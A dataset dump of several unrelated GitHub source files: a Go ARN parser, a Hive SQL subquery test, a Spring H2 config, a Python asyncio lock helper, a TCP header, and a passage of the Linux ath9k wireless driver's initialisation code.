text
stringlengths 2
97.5k
| meta
dict |
|---|---|
// Package arn provides a parser for interacting with Amazon Resource Names.
package arn
import (
"errors"
"strings"
)
const (
arnDelimiter = ":"
arnSections = 6
arnPrefix = "arn:"
// zero-indexed
sectionPartition = 1
sectionService = 2
sectionRegion = 3
sectionAccountID = 4
sectionResource = 5
// errors
invalidPrefix = "arn: invalid prefix"
invalidSections = "arn: not enough sections"
)
// ARN captures the individual fields of an Amazon Resource Name.
// See http://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html for more information.
type ARN struct {
// The partition that the resource is in. For standard AWS regions, the partition is "aws". If you have resources in
// other partitions, the partition is "aws-partitionname". For example, the partition for resources in the China
// (Beijing) region is "aws-cn".
Partition string
// The service namespace that identifies the AWS product (for example, Amazon S3, IAM, or Amazon RDS). For a list of
// namespaces, see
// http://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html#genref-aws-service-namespaces.
Service string
// The region the resource resides in. Note that the ARNs for some resources do not require a region, so this
// component might be omitted.
Region string
// The ID of the AWS account that owns the resource, without the hyphens. For example, 123456789012. Note that the
// ARNs for some resources don't require an account number, so this component might be omitted.
AccountID string
// The content of this part of the ARN varies by service. It often includes an indicator of the type of resource —
// for example, an IAM user or Amazon RDS database - followed by a slash (/) or a colon (:), followed by the
// resource name itself. Some services allows paths for resource names, as described in
// http://docs.aws.amazon.com/general/latest/gr/aws-arns-and-namespaces.html#arns-paths.
Resource string
}
// Parse parses an ARN into its constituent parts.
//
// Some example ARNs:
// arn:aws:elasticbeanstalk:us-east-1:123456789012:environment/My App/MyEnvironment
// arn:aws:iam::123456789012:user/David
// arn:aws:rds:eu-west-1:123456789012:db:mysql-db
// arn:aws:s3:::my_corporate_bucket/exampleobject.png
func Parse(arn string) (ARN, error) {
if !strings.HasPrefix(arn, arnPrefix) {
return ARN{}, errors.New(invalidPrefix)
}
sections := strings.SplitN(arn, arnDelimiter, arnSections)
if len(sections) != arnSections {
return ARN{}, errors.New(invalidSections)
}
return ARN{
Partition: sections[sectionPartition],
Service: sections[sectionService],
Region: sections[sectionRegion],
AccountID: sections[sectionAccountID],
Resource: sections[sectionResource],
}, nil
}
// IsARN returns whether the given string is an ARN by looking for
// whether the string starts with "arn:" and contains the correct number
// of sections delimited by colons(:).
func IsARN(arn string) bool {
return strings.HasPrefix(arn, arnPrefix) && strings.Count(arn, ":") >= arnSections-1
}
// String returns the canonical representation of the ARN
func (arn ARN) String() string {
return arnPrefix +
arn.Partition + arnDelimiter +
arn.Service + arnDelimiter +
arn.Region + arnDelimiter +
arn.AccountID + arnDelimiter +
arn.Resource
}
|
{
"pile_set_name": "Github"
}
|
set hive.exec.post.hooks=org.apache.hadoop.hive.ql.hooks.PostExecutePrinter,org.apache.hadoop.hive.ql.hooks.PrintCompletedTasksHook;
CREATE TABLE src_4(
key STRING,
value STRING
)
;
CREATE TABLE src_5(
key STRING,
value STRING
)
;
explain
from src b
INSERT OVERWRITE TABLE src_4
select *
where b.key in
(select a.key
from src a
where b.value = a.value and a.key > '9'
)
INSERT OVERWRITE TABLE src_5
select *
where b.key not in ( select key from src s1 where s1.key > '2')
order by key
;
from src b
INSERT OVERWRITE TABLE src_4
select *
where b.key in
(select a.key
from src a
where b.value = a.value and a.key > '9'
)
INSERT OVERWRITE TABLE src_5
select *
where b.key not in ( select key from src s1 where s1.key > '2')
order by key
;
select * from src_4
;
select * from src_5
;
set hive.auto.convert.join=true;
explain
from src b
INSERT OVERWRITE TABLE src_4
select *
where b.key in
(select a.key
from src a
where b.value = a.value and a.key > '9'
)
INSERT OVERWRITE TABLE src_5
select *
where b.key not in ( select key from src s1 where s1.key > '2')
order by key
;
from src b
INSERT OVERWRITE TABLE src_4
select *
where b.key in
(select a.key
from src a
where b.value = a.value and a.key > '9'
)
INSERT OVERWRITE TABLE src_5
select *
where b.key not in ( select key from src s1 where s1.key > '2')
order by key
;
select * from src_4
;
select * from src_5
;
|
{
"pile_set_name": "Github"
}
|
spring:
jpa:
database: h2
properties.hibernate.dialect: org.hibernate.dialect.H2Dialect
hibernate:
ddl-auto: update
show-sql: true
properties:
hibernate:
format_sql: true
use_sql_comments: true
datasource:
url: jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1;DB_CLOSE_ON_EXIT=FALSE
username: root
password:
driver-class-name: org.h2.Driver
management:
endpoints:
web:
exposure:
include: '*'
endpoint:
health:
show-details: always
|
{
"pile_set_name": "Github"
}
|
type=xar
version=1.0
|
{
"pile_set_name": "Github"
}
|
import asyncio
from .. import exceptions
class Lock:
__slots__ = ('_point', 'key', '_lock', 'loop', 'timeout')
def __init__(self, point, key, lock, loop=None, timeout=None):
self._point = point
self._lock = lock
self.key = key
self.loop = loop
self.timeout = timeout
async def acquire(self):
try:
await asyncio.wait_for(self._lock.acquire(), timeout=self.timeout, loop=self.loop)
except asyncio.TimeoutError:
raise exceptions.SyncPointTimeoutError(key=self.key, timeout=self.timeout)
def release(self):
if not self._lock._waiters:
del self._point._locks[self.key]
self._lock.release()
async def __aenter__(self):
await self.acquire()
return self
async def __aexit__(self, exc_type, exc_value, traceback):
self.release()
class SyncPoint:
__slots__ = ('_locks',)
def __init__(self):
self._locks = {}
def lock(self, key, loop=None, timeout=None):
if key not in self._locks:
self._locks[key] = asyncio.Lock(loop=loop)
return Lock(point=self, key=key, lock=self._locks[key], loop=loop, timeout=timeout)
|
{
"pile_set_name": "Github"
}
|
/* Copyright (c) 2014, Nokia
* All rights reserved.
*
* SPDX-License-Identifier: BSD-3-Clause
*/
/*-
* Copyright (c) 1982, 1986, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)tcp.h 8.1 (Berkeley) 6/10/93
* $FreeBSD: release/9.1.0/sys/netinet/tcp.h 232945 2012-03-13 20:37:57Z glebius $
*/
#ifndef _OFPI_TCP_H_
#define _OFPI_TCP_H_
#include "ofpi_ip_var.h"
#include "api/ofp_tcp.h"
#endif /* !_OFPI_TCP_H_ */
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright (c) 2008-2011 Atheros Communications Inc.
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
#include <linux/dma-mapping.h>
#include <linux/slab.h>
#include <linux/ath9k_platform.h>
#include <linux/module.h>
#include <linux/of.h>
#include <linux/of_net.h>
#include <linux/relay.h>
#include <net/ieee80211_radiotap.h>
#include "ath9k.h"
struct ath9k_eeprom_ctx {
struct completion complete;
struct ath_hw *ah;
};
static char *dev_info = "ath9k";
MODULE_AUTHOR("Atheros Communications");
MODULE_DESCRIPTION("Support for Atheros 802.11n wireless LAN cards.");
MODULE_SUPPORTED_DEVICE("Atheros 802.11n WLAN cards");
MODULE_LICENSE("Dual BSD/GPL");
static unsigned int ath9k_debug = ATH_DBG_DEFAULT;
module_param_named(debug, ath9k_debug, uint, 0);
MODULE_PARM_DESC(debug, "Debugging mask");
int ath9k_modparam_nohwcrypt;
module_param_named(nohwcrypt, ath9k_modparam_nohwcrypt, int, 0444);
MODULE_PARM_DESC(nohwcrypt, "Disable hardware encryption");
int ath9k_led_blink;
module_param_named(blink, ath9k_led_blink, int, 0444);
MODULE_PARM_DESC(blink, "Enable LED blink on activity");
static int ath9k_led_active_high = -1;
module_param_named(led_active_high, ath9k_led_active_high, int, 0444);
MODULE_PARM_DESC(led_active_high, "Invert LED polarity");
static int ath9k_btcoex_enable;
module_param_named(btcoex_enable, ath9k_btcoex_enable, int, 0444);
MODULE_PARM_DESC(btcoex_enable, "Enable wifi-BT coexistence");
static int ath9k_bt_ant_diversity;
module_param_named(bt_ant_diversity, ath9k_bt_ant_diversity, int, 0444);
MODULE_PARM_DESC(bt_ant_diversity, "Enable WLAN/BT RX antenna diversity");
static int ath9k_ps_enable;
module_param_named(ps_enable, ath9k_ps_enable, int, 0444);
MODULE_PARM_DESC(ps_enable, "Enable WLAN PowerSave");
#ifdef CONFIG_ATH9K_CHANNEL_CONTEXT
int ath9k_use_chanctx;
module_param_named(use_chanctx, ath9k_use_chanctx, int, 0444);
MODULE_PARM_DESC(use_chanctx, "Enable channel context for concurrency");
#endif /* CONFIG_ATH9K_CHANNEL_CONTEXT */
bool is_ath9k_unloaded;
#ifdef CONFIG_MAC80211_LEDS
static const struct ieee80211_tpt_blink ath9k_tpt_blink[] = {
{ .throughput = 0 * 1024, .blink_time = 334 },
{ .throughput = 1 * 1024, .blink_time = 260 },
{ .throughput = 5 * 1024, .blink_time = 220 },
{ .throughput = 10 * 1024, .blink_time = 190 },
{ .throughput = 20 * 1024, .blink_time = 170 },
{ .throughput = 50 * 1024, .blink_time = 150 },
{ .throughput = 70 * 1024, .blink_time = 130 },
{ .throughput = 100 * 1024, .blink_time = 110 },
{ .throughput = 200 * 1024, .blink_time = 80 },
{ .throughput = 300 * 1024, .blink_time = 50 },
};
#endif
static void ath9k_deinit_softc(struct ath_softc *sc);
static void ath9k_op_ps_wakeup(struct ath_common *common)
{
ath9k_ps_wakeup((struct ath_softc *) common->priv);
}
static void ath9k_op_ps_restore(struct ath_common *common)
{
ath9k_ps_restore((struct ath_softc *) common->priv);
}
static const struct ath_ps_ops ath9k_ps_ops = {
.wakeup = ath9k_op_ps_wakeup,
.restore = ath9k_op_ps_restore,
};
/*
* Read and write, they both share the same lock. We do this to serialize
* reads and writes on Atheros 802.11n PCI devices only. This is required
* as the FIFO on these devices can only accept sanely 2 requests.
*/
static void ath9k_iowrite32(void *hw_priv, u32 val, u32 reg_offset)
{
struct ath_hw *ah = (struct ath_hw *) hw_priv;
struct ath_common *common = ath9k_hw_common(ah);
struct ath_softc *sc = (struct ath_softc *) common->priv;
if (NR_CPUS > 1 && ah->config.serialize_regmode == SER_REG_MODE_ON) {
unsigned long flags;
spin_lock_irqsave(&sc->sc_serial_rw, flags);
iowrite32(val, sc->mem + reg_offset);
spin_unlock_irqrestore(&sc->sc_serial_rw, flags);
} else
iowrite32(val, sc->mem + reg_offset);
}
static unsigned int ath9k_ioread32(void *hw_priv, u32 reg_offset)
{
struct ath_hw *ah = (struct ath_hw *) hw_priv;
struct ath_common *common = ath9k_hw_common(ah);
struct ath_softc *sc = (struct ath_softc *) common->priv;
u32 val;
if (NR_CPUS > 1 && ah->config.serialize_regmode == SER_REG_MODE_ON) {
unsigned long flags;
spin_lock_irqsave(&sc->sc_serial_rw, flags);
val = ioread32(sc->mem + reg_offset);
spin_unlock_irqrestore(&sc->sc_serial_rw, flags);
} else
val = ioread32(sc->mem + reg_offset);
return val;
}
static void ath9k_multi_ioread32(void *hw_priv, u32 *addr,
u32 *val, u16 count)
{
int i;
for (i = 0; i < count; i++)
val[i] = ath9k_ioread32(hw_priv, addr[i]);
}
static unsigned int __ath9k_reg_rmw(struct ath_softc *sc, u32 reg_offset,
u32 set, u32 clr)
{
u32 val;
val = ioread32(sc->mem + reg_offset);
val &= ~clr;
val |= set;
iowrite32(val, sc->mem + reg_offset);
return val;
}
static unsigned int ath9k_reg_rmw(void *hw_priv, u32 reg_offset, u32 set, u32 clr)
{
struct ath_hw *ah = (struct ath_hw *) hw_priv;
struct ath_common *common = ath9k_hw_common(ah);
struct ath_softc *sc = (struct ath_softc *) common->priv;
unsigned long uninitialized_var(flags);
u32 val;
if (NR_CPUS > 1 && ah->config.serialize_regmode == SER_REG_MODE_ON) {
spin_lock_irqsave(&sc->sc_serial_rw, flags);
val = __ath9k_reg_rmw(sc, reg_offset, set, clr);
spin_unlock_irqrestore(&sc->sc_serial_rw, flags);
} else
val = __ath9k_reg_rmw(sc, reg_offset, set, clr);
return val;
}
/**************************/
/* Initialization */
/**************************/
static void ath9k_reg_notifier(struct wiphy *wiphy,
struct regulatory_request *request)
{
struct ieee80211_hw *hw = wiphy_to_ieee80211_hw(wiphy);
struct ath_softc *sc = hw->priv;
struct ath_hw *ah = sc->sc_ah;
struct ath_regulatory *reg = ath9k_hw_regulatory(ah);
ath_reg_notifier_apply(wiphy, request, reg);
/* Set tx power */
if (!ah->curchan)
return;
sc->cur_chan->txpower = 2 * ah->curchan->chan->max_power;
ath9k_ps_wakeup(sc);
ath9k_hw_set_txpowerlimit(ah, sc->cur_chan->txpower, false);
ath9k_cmn_update_txpow(ah, sc->cur_chan->cur_txpower,
sc->cur_chan->txpower,
&sc->cur_chan->cur_txpower);
/* synchronize DFS detector if regulatory domain changed */
if (sc->dfs_detector != NULL)
sc->dfs_detector->set_dfs_domain(sc->dfs_detector,
request->dfs_region);
ath9k_ps_restore(sc);
}
/*
* This function will allocate both the DMA descriptor structure, and the
* buffers it contains. These are used to contain the descriptors used
* by the system.
*/
int ath_descdma_setup(struct ath_softc *sc, struct ath_descdma *dd,
struct list_head *head, const char *name,
int nbuf, int ndesc, bool is_tx)
{
struct ath_common *common = ath9k_hw_common(sc->sc_ah);
u8 *ds;
int i, bsize, desc_len;
ath_dbg(common, CONFIG, "%s DMA: %u buffers %u desc/buf\n",
name, nbuf, ndesc);
INIT_LIST_HEAD(head);
if (is_tx)
desc_len = sc->sc_ah->caps.tx_desc_len;
else
desc_len = sizeof(struct ath_desc);
/* ath_desc must be a multiple of DWORDs */
if ((desc_len % 4) != 0) {
ath_err(common, "ath_desc not DWORD aligned\n");
BUG_ON((desc_len % 4) != 0);
return -ENOMEM;
}
dd->dd_desc_len = desc_len * nbuf * ndesc;
/*
* Need additional DMA memory because we can't use
* descriptors that cross the 4K page boundary. Assume
* one skipped descriptor per 4K page.
*/
if (!(sc->sc_ah->caps.hw_caps & ATH9K_HW_CAP_4KB_SPLITTRANS)) {
u32 ndesc_skipped =
ATH_DESC_4KB_BOUND_NUM_SKIPPED(dd->dd_desc_len);
u32 dma_len;
while (ndesc_skipped) {
dma_len = ndesc_skipped * desc_len;
dd->dd_desc_len += dma_len;
ndesc_skipped = ATH_DESC_4KB_BOUND_NUM_SKIPPED(dma_len);
}
}
/* allocate descriptors */
dd->dd_desc = dmam_alloc_coherent(sc->dev, dd->dd_desc_len,
&dd->dd_desc_paddr, GFP_KERNEL);
if (!dd->dd_desc)
return -ENOMEM;
ds = (u8 *) dd->dd_desc;
ath_dbg(common, CONFIG, "%s DMA map: %p (%u) -> %llx (%u)\n",
name, ds, (u32) dd->dd_desc_len,
ito64(dd->dd_desc_paddr), /*XXX*/(u32) dd->dd_desc_len);
/* allocate buffers */
if (is_tx) {
struct ath_buf *bf;
bsize = sizeof(struct ath_buf) * nbuf;
bf = devm_kzalloc(sc->dev, bsize, GFP_KERNEL);
if (!bf)
return -ENOMEM;
for (i = 0; i < nbuf; i++, bf++, ds += (desc_len * ndesc)) {
bf->bf_desc = ds;
bf->bf_daddr = DS2PHYS(dd, ds);
if (!(sc->sc_ah->caps.hw_caps &
ATH9K_HW_CAP_4KB_SPLITTRANS)) {
/*
* Skip descriptor addresses which can cause 4KB
* boundary crossing (addr + length) with a 32 dword
* descriptor fetch.
*/
while (ATH_DESC_4KB_BOUND_CHECK(bf->bf_daddr)) {
BUG_ON((caddr_t) bf->bf_desc >=
((caddr_t) dd->dd_desc +
dd->dd_desc_len));
ds += (desc_len * ndesc);
bf->bf_desc = ds;
bf->bf_daddr = DS2PHYS(dd, ds);
}
}
list_add_tail(&bf->list, head);
}
} else {
struct ath_rxbuf *bf;
bsize = sizeof(struct ath_rxbuf) * nbuf;
bf = devm_kzalloc(sc->dev, bsize, GFP_KERNEL);
if (!bf)
return -ENOMEM;
for (i = 0; i < nbuf; i++, bf++, ds += (desc_len * ndesc)) {
bf->bf_desc = ds;
bf->bf_daddr = DS2PHYS(dd, ds);
if (!(sc->sc_ah->caps.hw_caps &
ATH9K_HW_CAP_4KB_SPLITTRANS)) {
/*
* Skip descriptor addresses which can cause 4KB
* boundary crossing (addr + length) with a 32 dword
* descriptor fetch.
*/
while (ATH_DESC_4KB_BOUND_CHECK(bf->bf_daddr)) {
BUG_ON((caddr_t) bf->bf_desc >=
((caddr_t) dd->dd_desc +
dd->dd_desc_len));
ds += (desc_len * ndesc);
bf->bf_desc = ds;
bf->bf_daddr = DS2PHYS(dd, ds);
}
}
list_add_tail(&bf->list, head);
}
}
return 0;
}
static int ath9k_init_queues(struct ath_softc *sc)
{
int i = 0;
sc->beacon.beaconq = ath9k_hw_beaconq_setup(sc->sc_ah);
sc->beacon.cabq = ath_txq_setup(sc, ATH9K_TX_QUEUE_CAB, 0);
ath_cabq_update(sc);
sc->tx.uapsdq = ath_txq_setup(sc, ATH9K_TX_QUEUE_UAPSD, 0);
for (i = 0; i < IEEE80211_NUM_ACS; i++) {
sc->tx.txq_map[i] = ath_txq_setup(sc, ATH9K_TX_QUEUE_DATA, i);
sc->tx.txq_map[i]->mac80211_qnum = i;
}
return 0;
}
static void ath9k_init_misc(struct ath_softc *sc)
{
struct ath_common *common = ath9k_hw_common(sc->sc_ah);
int i = 0;
setup_timer(&common->ani.timer, ath_ani_calibrate, (unsigned long)sc);
common->last_rssi = ATH_RSSI_DUMMY_MARKER;
memcpy(common->bssidmask, ath_bcast_mac, ETH_ALEN);
sc->beacon.slottime = 9;
for (i = 0; i < ARRAY_SIZE(sc->beacon.bslot); i++)
sc->beacon.bslot[i] = NULL;
if (sc->sc_ah->caps.hw_caps & ATH9K_HW_CAP_ANT_DIV_COMB)
sc->ant_comb.count = ATH_ANT_DIV_COMB_INIT_COUNT;
sc->spec_priv.ah = sc->sc_ah;
sc->spec_priv.spec_config.enabled = 0;
sc->spec_priv.spec_config.short_repeat = true;
sc->spec_priv.spec_config.count = 8;
sc->spec_priv.spec_config.endless = false;
sc->spec_priv.spec_config.period = 0xFF;
sc->spec_priv.spec_config.fft_period = 0xF;
}
static void ath9k_init_pcoem_platform(struct ath_softc *sc)
{
struct ath_hw *ah = sc->sc_ah;
struct ath9k_hw_capabilities *pCap = &ah->caps;
struct ath_common *common = ath9k_hw_common(ah);
if (!IS_ENABLED(CONFIG_ATH9K_PCOEM))
return;
if (common->bus_ops->ath_bus_type != ATH_PCI)
return;
if (sc->driver_data & (ATH9K_PCI_CUS198 |
ATH9K_PCI_CUS230)) {
ah->config.xlna_gpio = 9;
ah->config.xatten_margin_cfg = true;
ah->config.alt_mingainidx = true;
ah->config.ant_ctrl_comm2g_switch_enable = 0x000BBB88;
sc->ant_comb.low_rssi_thresh = 20;
sc->ant_comb.fast_div_bias = 3;
ath_info(common, "Set parameters for %s\n",
(sc->driver_data & ATH9K_PCI_CUS198) ?
"CUS198" : "CUS230");
}
if (sc->driver_data & ATH9K_PCI_CUS217)
ath_info(common, "CUS217 card detected\n");
if (sc->driver_data & ATH9K_PCI_CUS252)
ath_info(common, "CUS252 card detected\n");
if (sc->driver_data & ATH9K_PCI_AR9565_1ANT)
ath_info(common, "WB335 1-ANT card detected\n");
if (sc->driver_data & ATH9K_PCI_AR9565_2ANT)
ath_info(common, "WB335 2-ANT card detected\n");
if (sc->driver_data & ATH9K_PCI_KILLER)
ath_info(common, "Killer Wireless card detected\n");
/*
* Some WB335 cards do not support antenna diversity. Since
* we use a hardcoded value for AR9565 instead of using the
* EEPROM/OTP data, remove the combining feature from
* the HW capabilities bitmap.
*/
if (sc->driver_data & (ATH9K_PCI_AR9565_1ANT | ATH9K_PCI_AR9565_2ANT)) {
if (!(sc->driver_data & ATH9K_PCI_BT_ANT_DIV))
pCap->hw_caps &= ~ATH9K_HW_CAP_ANT_DIV_COMB;
}
if (sc->driver_data & ATH9K_PCI_BT_ANT_DIV) {
pCap->hw_caps |= ATH9K_HW_CAP_BT_ANT_DIV;
ath_info(common, "Set BT/WLAN RX diversity capability\n");
}
if (sc->driver_data & ATH9K_PCI_D3_L1_WAR) {
ah->config.pcie_waen = 0x0040473b;
ath_info(common, "Enable WAR for ASPM D3/L1\n");
}
/*
* The default value of pll_pwrsave is 1.
* For certain AR9485 cards, it is set to 0.
* For AR9462, AR9565 it's set to 7.
*/
ah->config.pll_pwrsave = 1;
if (sc->driver_data & ATH9K_PCI_NO_PLL_PWRSAVE) {
ah->config.pll_pwrsave = 0;
ath_info(common, "Disable PLL PowerSave\n");
}
if (sc->driver_data & ATH9K_PCI_LED_ACT_HI)
ah->config.led_active_high = true;
}
static void ath9k_eeprom_request_cb(const struct firmware *eeprom_blob,
void *ctx)
{
struct ath9k_eeprom_ctx *ec = ctx;
if (eeprom_blob)
ec->ah->eeprom_blob = eeprom_blob;
complete(&ec->complete);
}
static int ath9k_eeprom_request(struct ath_softc *sc, const char *name)
{
struct ath9k_eeprom_ctx ec;
struct ath_hw *ah = sc->sc_ah;
int err;
/* try to load the EEPROM content asynchronously */
init_completion(&ec.complete);
ec.ah = sc->sc_ah;
err = request_firmware_nowait(THIS_MODULE, 1, name, sc->dev, GFP_KERNEL,
&ec, ath9k_eeprom_request_cb);
if (err < 0) {
ath_err(ath9k_hw_common(ah),
"EEPROM request failed\n");
return err;
}
wait_for_completion(&ec.complete);
if (!ah->eeprom_blob) {
ath_err(ath9k_hw_common(ah),
"Unable to load EEPROM file %s\n", name);
return -EINVAL;
}
return 0;
}
static void ath9k_eeprom_release(struct ath_softc *sc)
{
release_firmware(sc->sc_ah->eeprom_blob);
}
static int ath9k_init_platform(struct ath_softc *sc)
{
struct ath9k_platform_data *pdata = sc->dev->platform_data;
struct ath_hw *ah = sc->sc_ah;
struct ath_common *common = ath9k_hw_common(ah);
int ret;
if (!pdata)
return 0;
if (!pdata->use_eeprom) {
ah->ah_flags &= ~AH_USE_EEPROM;
ah->gpio_mask = pdata->gpio_mask;
ah->gpio_val = pdata->gpio_val;
ah->led_pin = pdata->led_pin;
ah->is_clk_25mhz = pdata->is_clk_25mhz;
ah->get_mac_revision = pdata->get_mac_revision;
ah->external_reset = pdata->external_reset;
ah->disable_2ghz = pdata->disable_2ghz;
ah->disable_5ghz = pdata->disable_5ghz;
if (!pdata->endian_check)
ah->ah_flags |= AH_NO_EEP_SWAP;
}
if (pdata->eeprom_name) {
ret = ath9k_eeprom_request(sc, pdata->eeprom_name);
if (ret)
return ret;
}
if (pdata->led_active_high)
ah->config.led_active_high = true;
if (pdata->tx_gain_buffalo)
ah->config.tx_gain_buffalo = true;
if (pdata->macaddr)
ether_addr_copy(common->macaddr, pdata->macaddr);
return 0;
}
static int ath9k_of_init(struct ath_softc *sc)
{
struct device_node *np = sc->dev->of_node;
struct ath_hw *ah = sc->sc_ah;
struct ath_common *common = ath9k_hw_common(ah);
enum ath_bus_type bus_type = common->bus_ops->ath_bus_type;
const char *mac;
char eeprom_name[100];
int ret;
if (!of_device_is_available(np))
return 0;
ath_dbg(common, CONFIG, "parsing configuration from OF node\n");
if (of_property_read_bool(np, "qca,no-eeprom")) {
/* ath9k-eeprom-<bus>-<id>.bin */
scnprintf(eeprom_name, sizeof(eeprom_name),
"ath9k-eeprom-%s-%s.bin",
ath_bus_type_to_string(bus_type), dev_name(ah->dev));
ret = ath9k_eeprom_request(sc, eeprom_name);
if (ret)
return ret;
}
mac = of_get_mac_address(np);
if (mac)
ether_addr_copy(common->macaddr, mac);
ah->ah_flags &= ~AH_USE_EEPROM;
ah->ah_flags |= AH_NO_EEP_SWAP;
return 0;
}
static int ath9k_init_softc(u16 devid, struct ath_softc *sc,
const struct ath_bus_ops *bus_ops)
{
struct ath_hw *ah = NULL;
struct ath9k_hw_capabilities *pCap;
struct ath_common *common;
int ret = 0, i;
int csz = 0;
ah = devm_kzalloc(sc->dev, sizeof(struct ath_hw), GFP_KERNEL);
if (!ah)
return -ENOMEM;
ah->dev = sc->dev;
ah->hw = sc->hw;
ah->hw_version.devid = devid;
ah->ah_flags |= AH_USE_EEPROM;
ah->led_pin = -1;
ah->reg_ops.read = ath9k_ioread32;
ah->reg_ops.multi_read = ath9k_multi_ioread32;
ah->reg_ops.write = ath9k_iowrite32;
ah->reg_ops.rmw = ath9k_reg_rmw;
pCap = &ah->caps;
common = ath9k_hw_common(ah);
/* Will be cleared in ath9k_start() */
set_bit(ATH_OP_INVALID, &common->op_flags);
sc->airtime_flags = (AIRTIME_USE_TX | AIRTIME_USE_RX |
AIRTIME_USE_NEW_QUEUES);
sc->sc_ah = ah;
sc->dfs_detector = dfs_pattern_detector_init(common, NL80211_DFS_UNSET);
sc->tx99_power = MAX_RATE_POWER + 1;
init_waitqueue_head(&sc->tx_wait);
sc->cur_chan = &sc->chanctx[0];
if (!ath9k_is_chanctx_enabled())
sc->cur_chan->hw_queue_base = 0;
common->ops = &ah->reg_ops;
common->bus_ops = bus_ops;
common->ps_ops = &ath9k_ps_ops;
common->ah = ah;
common->hw = sc->hw;
common->priv = sc;
common->debug_mask = ath9k_debug;
common->btcoex_enabled = ath9k_btcoex_enable == 1;
common->disable_ani = false;
/*
* Platform quirks.
*/
ath9k_init_pcoem_platform(sc);
ret = ath9k_init_platform(sc);
if (ret)
return ret;
ret = ath9k_of_init(sc);
if (ret)
return ret;
if (ath9k_led_active_high != -1)
ah->config.led_active_high = ath9k_led_active_high == 1;
/*
* Enable WLAN/BT RX Antenna diversity only when:
*
* - BTCOEX is disabled.
* - the user manually requests the feature.
* - the HW cap is set using the platform data.
*/
if (!common->btcoex_enabled && ath9k_bt_ant_diversity &&
(pCap->hw_caps & ATH9K_HW_CAP_BT_ANT_DIV))
common->bt_ant_diversity = 1;
spin_lock_init(&common->cc_lock);
spin_lock_init(&sc->intr_lock);
spin_lock_init(&sc->sc_serial_rw);
spin_lock_init(&sc->sc_pm_lock);
spin_lock_init(&sc->chan_lock);
mutex_init(&sc->mutex);
tasklet_init(&sc->intr_tq, ath9k_tasklet, (unsigned long)sc);
tasklet_init(&sc->bcon_tasklet, ath9k_beacon_tasklet,
(unsigned long)sc);
setup_timer(&sc->sleep_timer, ath_ps_full_sleep, (unsigned long)sc);
INIT_WORK(&sc->hw_reset_work, ath_reset_work);
INIT_WORK(&sc->paprd_work, ath_paprd_calibrate);
INIT_DELAYED_WORK(&sc->hw_pll_work, ath_hw_pll_work);
INIT_DELAYED_WORK(&sc->hw_check_work, ath_hw_check_work);
ath9k_init_channel_context(sc);
/*
* Cache line size is used to size and align various
* structures used to communicate with the hardware.
*/
ath_read_cachesize(common, &csz);
common->cachelsz = csz << 2; /* convert to bytes */
/* Initializes the hardware for all supported chipsets */
ret = ath9k_hw_init(ah);
if (ret)
goto err_hw;
ret = ath9k_init_queues(sc);
if (ret)
goto err_queues;
ret = ath9k_init_btcoex(sc);
if (ret)
goto err_btcoex;
ret = ath9k_cmn_init_channels_rates(common);
if (ret)
goto err_btcoex;
ret = ath9k_init_p2p(sc);
if (ret)
goto err_btcoex;
ath9k_cmn_init_crypto(sc->sc_ah);
ath9k_init_misc(sc);
ath_chanctx_init(sc);
ath9k_offchannel_init(sc);
if (common->bus_ops->aspm_init)
common->bus_ops->aspm_init(common);
return 0;
err_btcoex:
for (i = 0; i < ATH9K_NUM_TX_QUEUES; i++)
if (ATH_TXQ_SETUP(sc, i))
ath_tx_cleanupq(sc, &sc->tx.txq[i]);
err_queues:
ath9k_hw_deinit(ah);
err_hw:
ath9k_eeprom_release(sc);
dev_kfree_skb_any(sc->tx99_skb);
return ret;
}
static void ath9k_init_band_txpower(struct ath_softc *sc, int band)
{
struct ieee80211_supported_band *sband;
struct ieee80211_channel *chan;
struct ath_hw *ah = sc->sc_ah;
struct ath_common *common = ath9k_hw_common(ah);
struct cfg80211_chan_def chandef;
int i;
sband = &common->sbands[band];
for (i = 0; i < sband->n_channels; i++) {
chan = &sband->channels[i];
ah->curchan = &ah->channels[chan->hw_value];
cfg80211_chandef_create(&chandef, chan, NL80211_CHAN_HT20);
